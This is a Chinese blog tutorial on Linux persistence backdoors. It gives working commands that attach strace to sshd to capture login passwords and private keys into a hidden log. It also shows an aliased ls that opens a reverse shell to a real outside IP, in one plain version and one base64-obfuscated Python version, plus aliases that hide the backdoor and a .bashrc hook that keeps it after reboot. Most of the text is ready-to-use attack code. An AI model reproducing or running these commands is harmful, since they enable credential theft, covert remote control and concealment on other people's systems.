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目录

监控功能Strace后门

1、记录 sshd 明文

监控

筛选查看

2、记录sshd私钥

命令自定义Alias后门

1、简单粗鲁实现反弹：

靶机替换命令

 攻击机监听上线

2.升级(让命令正常)

将反弹命令进行base64编码

替换alias命令

靶机执行命令

攻击机监听--上线

3、持久化+隐藏:重启依旧生效

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【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

监控功能Strace后门

strace 是一个动态跟踪工具，它可以跟踪系统调用的执行。 
我们可以把他当成一个键盘记录的后门，来扩大我们的信息收集范围.

1、记录 sshd 明文

监控

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

筛选查看

当有主机连接时就会显示其明文密码,

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

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2、记录sshd私钥

同上...

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)


grep 'PRIVATE KEY' /tmp/.sshd.log

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命令自定义Alias后门

 (将命令进行别名自定义)
alias 命令的功能：为命令设置别名 

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定义：alias ls='ls -al' 
去掉别名：unalias ls 
每次输入 ls 命令的时候都能实现 ls -al 

缺点:虽然好用,但是靶机重启就会失效!!!

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1、简单粗鲁实现反弹：

靶机替换命令

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts' 

可以发现靶机在执行正常ls命令的时候直接出问题了. 

 攻击机监听上线

 

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2.升级(让命令正常)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'


import os,socket,subprocess;
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("IP", PORT))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        exit()

将反弹命令进行base64编码

替换alias命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''这里是你base64编码的'\'')))";};alerts'

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

靶机执行命令

注意发现这里的ls命令正常执行了. 

攻击机监听--上线

 

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3、持久化+隐藏:重启依旧生效

这个东西就是修改Linux的启动配置文件,        (.bashrc)

--但是有的服务器不让修改此文件...(阿里云,腾讯云,dk盾,华为...)

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

# 修改启动项文件,将命令添加进去.
vim /etc/upload
vim ～/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

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